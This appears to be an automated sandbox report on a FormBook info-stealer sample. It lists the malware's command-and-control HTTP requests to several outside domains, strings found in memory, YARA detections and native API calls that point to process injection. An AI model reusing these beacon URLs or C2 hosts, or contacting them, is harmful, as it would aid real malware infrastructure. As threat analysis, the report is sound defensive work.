Source: Joe Sandbox View	ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
Source: Joe Sandbox View	ASN Name: VECTANTARTERIANetworksCorporationJP VECTANTARTERIANetworksCorporationJP

Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=u+x8HrW8TaP2OTySFAVUaGkyVI6Qrz7itxoztY99JgBPvqcvqvs4xGCSIVWMYkPxCa9b&2dND=GVTl- HTTP/1.1Host: www.skynetaccess.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=AKlWb4FzuMtnty9OGtxovY3lKx8NV8ATEUFEzcIxGa/JytTKcc+qEWA3ceqFQyW9WUsw&2dND=GVTl- HTTP/1.1Host: www.thepocket-onlinelesson.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=pM4A9y9s2fQOT6MseLZ6D1nJp3ZoXi1DIz8HREKs7lWKo2rCfk3YBCWk1LbwXjkHseQ/&2dND=GVTl- HTTP/1.1Host: www.shirleyeluiz.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=ilDJZobCAoASZPKEjr+h2GJPzQZtXgxPn5qCqJ2imUF6WWwra1RdIaAgDcyp8aYyL3aO&2dND=GVTl- HTTP/1.1Host: www.drisu-goalkeeping.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=+XN8NDZ1K2QCkRvOhUuLQIc57zcvFV8XafOJaWeGgjvpyrWV+MqtkcBEDSPdl300gZ3G&2dND=GVTl- HTTP/1.1Host: www.rogegalmish.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=62/bSqqzpTDIfVncwf8kcLNbcalsRP0e0Vdwfvu8Ay8ZWoGvbHjczG9DeoieTYsPlzHS&2dND=GVTl- HTTP/1.1Host: www.best-cleaner.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=O3o1U+q8oMW0A40QuM4kzZFzuvGZx18F2J1jOj0HsFueYiG3dIptHphoRZJy//fOFehA&2dND=GVTl- HTTP/1.1Host: www.4520oceanviewavenue.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=jdN+3RUems8XgJANUws4WWtkbvXxMu2hTQ/t6K3f+t8prXi7JgWKk+q+WHlFohFhnqtz&2dND=GVTl- HTTP/1.1Host: www.omfgphil.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=4F1bkU/AiPiMeDtr2vTtPD5XJl4c4IZLVeC3bIU2IShR3AvGXFCeCpQ25wAjwLp6N7J6&2dND=GVTl- HTTP/1.1Host: www.boostcoachingonline.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

DNS traffic detected: queries for: www.skynetaccess.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 12 May 2021 10:25:46 GMTServer: Apache/2.4.46 (Unix)Content-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: explorer.exe, 00000005.00000000.263565575.000000000F540000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	String found in binary or memory: http://servermanager.miixit.org/1
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	String found in binary or memory: http://servermanager.miixit.org/downloads/
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	String found in binary or memory: http://servermanager.miixit.org/hits/hit_index.php?k=
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	String found in binary or memory: http://servermanager.miixit.org/index_ru.html
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	String found in binary or memory: http://servermanager.miixit.org/index_ru.htmlc
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	String found in binary or memory: http://servermanager.miixit.org/report/reporter_index.php?name=
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css
Source: rundll32.exe, 00000009.00000002.486836362.0000000004FD2000.00000004.00000001.sdmp	String found in binary or memory: https://vm.tiktok.com/ZMJE3suep/a8si?NZb=jdN
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	String found in binary or memory: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=CJU3DBQXBUQPC
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	String found in binary or memory: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=CJU3DBQXBUQPC5http://servermana

Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.236001012.00000000009E8000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000009.00000002.481738454.00000000011E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.478757286.00000000008F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.276852950.0000000001400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.238968916.00000000037E7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.480717659.0000000000D10000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.276548151.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.276831846.00000000013D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.457b22da_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.457b22da_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000009.00000002.481738454.00000000011E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.481738454.00000000011E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.478757286.00000000008F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.478757286.00000000008F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.276852950.0000000001400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.276852950.0000000001400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.238968916.00000000037E7000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.238968916.00000000037E7000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.480717659.0000000000D10000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.480717659.0000000000D10000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.276548151.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.276548151.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.276831846.00000000013D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.276831846.00000000013D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.457b22da_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.457b22da_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.457b22da_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.457b22da_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

PE file contains section with special chars

Show sources

Source: 457b22da_by_Libranalysis.exe

Static PE information: section name: U#j;F_`

PE file has nameless sections

Show sources

Source: 457b22da_by_Libranalysis.exe

Static PE information: section name:

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_004181C0 NtCreateFile,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00418270 NtReadFile,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_004182F0 NtClose,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_004183A0 NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041826A NtReadFile,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041839A NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019599A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019595D0 NtClose,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959540 NtReadFile,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019598F0 NtReadVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019597A0 NtUnmapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959FE0 NtCreateMutant,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019596E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959A00 NtProtectVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959A20 NtResumeThread,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959660 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019599D0 NtCreateProcessEx,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019595F0 NtQueryInformationFile,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0195AD30 NtSetContextThread,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959520 NtWaitForSingleObject,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959950 NtQueueApcThread,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959560 NtWriteFile,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019598A0 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959820 NtEnumerateKey,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0195B040 NtSuspendThread,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0195A3B0 NtGetContextThread,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0195A710 NtOpenProcessToken,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959B00 NtSetValueKey,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959730 NtQueryVirtualMemory,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959770 NtSetInformationFile,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0195A770 NtOpenThread,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959760 NtOpenProcess,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959A80 NtOpenDirectoryObject,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019596D0 NtCreateKey,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959610 NtEnumerateValueKey,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959A10 NtQuerySection,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959650 NtQueryValueKey,
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01959670 NtQueryInformationProcess,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049899A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049895D0 NtClose,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989540 NtReadFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049896D0 NtCreateKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049896E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989650 NtQueryValueKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989660 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989FE0 NtCreateMutant,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049898A0 NtWriteVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049898F0 NtReadVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989820 NtEnumerateKey,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0498B040 NtSuspendThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049899D0 NtCreateProcessEx,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049895F0 NtQueryInformationFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0498AD30 NtSetContextThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989520 NtWaitForSingleObject,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989950 NtQueueApcThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989560 NtWriteFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989A80 NtOpenDirectoryObject,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989610 NtEnumerateValueKey,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989A10 NtQuerySection,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989A00 NtProtectVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989A20 NtResumeThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989670 NtQueryInformationProcess,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0498A3B0 NtGetContextThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049897A0 NtUnmapViewOfSection,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0498A710 NtOpenProcessToken,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989B00 NtSetValueKey,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989730 NtQueryVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989770 NtSetInformationFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0498A770 NtOpenThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04989760 NtOpenProcess,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_009081C0 NtCreateFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_009082F0 NtClose,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00908270 NtReadFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_009083A0 NtAllocateVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0090826A NtReadFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0090839A NtAllocateVirtualMemory,

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C92CC9
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C904E1
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C91881
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C92450
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C96C79
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C94590
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C9B1A8
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C936B0
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C944A0
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C94466
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C95411
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C95420
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C96820
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C96830
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C9A1B0
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C976DA
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C96A99
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C96AA8
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C96600
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C96610
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C95210
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C95F91
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C95FA0
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_00C923B4
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_04BF1FD0
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_04BF56C8
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_04BF80D0
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_04BF1FC2
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053EAB38
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E35F0
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E003F
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E0006
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E8870
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E0040
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E84C8
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E3F37
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E3F32
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E5F10
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E5F68
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E3F40
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E2F90
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E2FF0
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E2FEF
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E43E8
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E43E7
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E43D7
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E526F
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E5280
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00401030
